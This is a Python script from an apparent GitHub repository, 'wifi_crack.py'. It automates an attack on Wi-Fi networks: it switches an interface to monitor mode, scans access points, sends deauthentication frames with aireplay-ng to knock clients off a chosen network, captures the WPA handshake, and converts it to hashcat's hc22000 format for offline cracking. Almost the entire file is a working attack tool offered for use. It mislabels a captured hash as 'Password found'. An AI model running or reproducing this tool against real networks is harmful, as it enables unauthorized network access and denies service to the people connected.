-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathwifi_crack.py
218 lines (177 loc) · 7.35 KB
/
wifi_crack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
import subprocess as sub
import os
import glob
import time
from colorama import Fore
import pyfiglet
import re
def logo():
art = '''
__ __ __ ______ __ ______ ______ ______ ______ __ __ ______ ______
/\ \ _ \ \ /\ \ /\ ___\ /\ \ /\ ___\ /\ == \ /\ __ \ /\ ___\ /\ \/ / /\ ___\ /\ == \
\ \ \/ ".\ \ \ \ \ \ \ __\ \ \ \ \ \ \____ \ \ __< \ \ __ \ \ \ \____ \ \ _"-. \ \ __\ \ \ __<
\ \__/".~\_\ \ \_\ \ \_\ \ \_\ \ \_____\ \ \_\ \_\ \ \_\ \_\ \ \_____\ \ \_\ \_\ \ \_____\ \ \_\ \_\
\/_/ \/_/ \/_/ \/_/ \/_/ \/_____/ \/_/ /_/ \/_/\/_/ \/_____/ \/_/\/_/ \/_____/ \/_/ /_/
V3.1
'''
print(Fore.GREEN + art + "\n")
def check_tool():
tool_names = ["xterm", "aircrack-ng", "hcxpcapngtool"]
for tool in tool_names:
try:
sub.run(["which", tool], check=True)
print(f"{tool} is installed\n")
time.sleep(0.5)
except sub.CalledProcessError:
print(Fore.RED + f"{tool} is not installed\n")
decision = input(Fore.YELLOW + f"Do you want install {tool}: ( y || n ): ")
if tool == "hcxpcapngtool":
tool = "hcxtools"
if decision == "y":
dowload = sub.Popen(["apt", "install", tool])
dowload.wait()
print(Fore.GREEN + f"{tool} is installed\n")
os.system("clear")
def interfaces_select():
a=1
output = os.popen('ip link').read()
interface_lines = [line.split(':')[1].strip() for line in output.split('\n') if 'mtu' in line]
interfaces = [interface.split(':')[0] for interface in interface_lines]
for i in interface_lines:
print(Fore.YELLOW + f"{a}) {i}")
a += 1
number = int(input(Fore.GREEN + "\nSelect the number of interface: "))
return interface_lines[number-1]
def set_monitor_mode(interface):
result = os.popen("iwconfig | grep " + interface ).read()
os.system("clear")
logo()
if "Monitor" in result:
print(Fore.GREEN + "\nInterface already in monitor mode")
time.sleep(1)
return interface
else:
os.system("airmon-ng start " + interface)
time.sleep(1)
result = os.popen("iwconfig | grep " + interface).read()
time.sleep(0.5)
if "Monitor" in result:
print(Fore.GREEN + "\nInterface switched to monitor mode")
time.sleep(1)
mon_interface = [result.split(" ")[0].strip()]
return mon_interface[0]
else:
print(Fore.RED + "\nFailed to switch to interface monitor mode")
def scan_wifi(mon_interface):
print(Fore.YELLOW + "\nScan is starting\nCtrl+c or close xterm terminal for stop scan")
time.sleep(1)
os.system("xterm -geometry 150x50+800 -bg black -e airodump-ng " + mon_interface + " -w " + "output")
print(Fore.GREEN + "\nScan ended")
def select_wifi():
output_file = "output-01.csv"
total_wifi_number = 0
bssid_list = []
ssid_list = []
channel_list = []
with open(output_file, "r") as file:
for line in file:
if "Station" in line:
break
else:
match_bssid = re.search(r"(\w\w:\w\w:\w\w:\w\w:\w\w:\w\w)", line)
match_channel = re.search(r"\d\d:\d\d:\d\d,\s(..),", line)
match_ssid = re.search(r"([^,]+),\s+$", line)
if match_bssid and match_channel and match_ssid:
bssid_list.append(match_bssid.group(1).strip())
channel_list.append(match_channel.group(1).strip())
ssid_list.append(match_ssid.group(1).strip())
total_wifi_number += 1
os.system("rm output-*")
return bssid_list,channel_list,ssid_list,total_wifi_number
def repeat(bssid, channel, mon_interface, total_wifi_number):
os.system("clear")
print(Fore.YELLOW + f"\n \tNAME\t\t\t CHANNEL\t\tESSID")
for i in range(0,total_wifi_number):
if ssid[i] == "":
ssid[i] = "(Unknown Wifi)"
print(Fore.RED + f"\n{i+1}) {bssid[i]}\t\t\t{channel[i]}\t\t{ssid[i]}")
while True:
choose = int(input(Fore.GREEN + f"\nSelect the target number: "))
if choose <= total_wifi_number:
break
else:
print(Fore.RED + f"\nPlease enter the possible number")
while True:
try:
zaman = int(input(Fore.GREEN + "\nEnter time for capture handshake (best is 15-30): "))
break
except:
print(Fore.RED + "\nPlease enter the number")
name = input(Fore.GREEN + "\nEnter file name : ")
while True:
scan_target(bssid[choose-1], channel[choose-1], mon_interface, name, zaman)
convert(name)
print(Fore.GREEN + "\nProcess ended")
if checking(name) == 0:
break
def scan_target(bssid, channel, mon_interface, name,zaman):
airodump_process = sub.Popen(["xterm", "-geometry", "100x60+100+100", "-bg", "black", "-e", "airodump-ng", "--bssid", bssid, "--channel", channel, "--write", name, mon_interface])
time.sleep(3)
aireplay_process = sub.Popen(["xterm","-geometry", "100x60+800+100", "-bg", "black", "-e", "aireplay-ng", "--deauth", "15", "-a", bssid, mon_interface])
aireplay_process.wait()
try:
airodump_process.wait(timeout=zaman)
except sub.TimeoutExpired:
airodump_process.kill()
def convert(name):
filenames = glob.glob(name + "*.cap")
if filenames:
for filename in filenames:
with open("/dev/null", "w") as devnull:
sub.Popen(["hcxpcapngtool", filename, "-o", f"{name}.hc22000"], stdout=devnull, stderr=devnull)
else:
print(Fore.RED + "\nNo matching files found.")
file1 = glob.glob(name+"*.csv")
file2 = glob.glob(name+"*.netxml")
file3 = glob.glob(name+"*cap")
delete_files = file1 + file2 + file3
for filename in delete_files:
sub.Popen(["rm", filename])
def checking(name):
time.sleep(1.5)
if glob.glob(name + ".hc22000"):
print(Fore.GREEN + "\nPassword found ---->> " + name + ".hc22000")
return 0
else:
print(Fore.RED + "\nPassword not found")
if input(Fore.YELLOW + "\nDo you want try again ( y || n ): ") == "y":
return 1
else:
return 0
def managed_mode(mon_interface):
managed = sub.Popen(["airmon-ng", "stop", mon_interface])
managed.wait()
print(Fore.GREEN + "\nSwitched to interface managed mode")
print(pyfiglet.figlet_format("END"))
#START
try:
logo()
check_tool()
logo()
print(Fore.YELLOW+ f"\t\tTOOL STARTING\n")
time.sleep(0.5)
interface = interfaces_select()
logo()
mon_interface = set_monitor_mode(interface)
scan_wifi(mon_interface)
bssid, channel,ssid,total_wifi_number = select_wifi()
while True:
repeat(bssid, channel, mon_interface, total_wifi_number)
if input(Fore.YELLOW + "\nDo you want select another wifi? ( y || n ): ") == "y":
continue
else:
break;
if input(Fore.YELLOW + "\nSwitch the interface to managed mode? ( y || n ): ") == "y":
managed_mode(mon_interface)
except:
print(Fore.RED + "\n\n" + pyfiglet.figlet_format("EXIT"))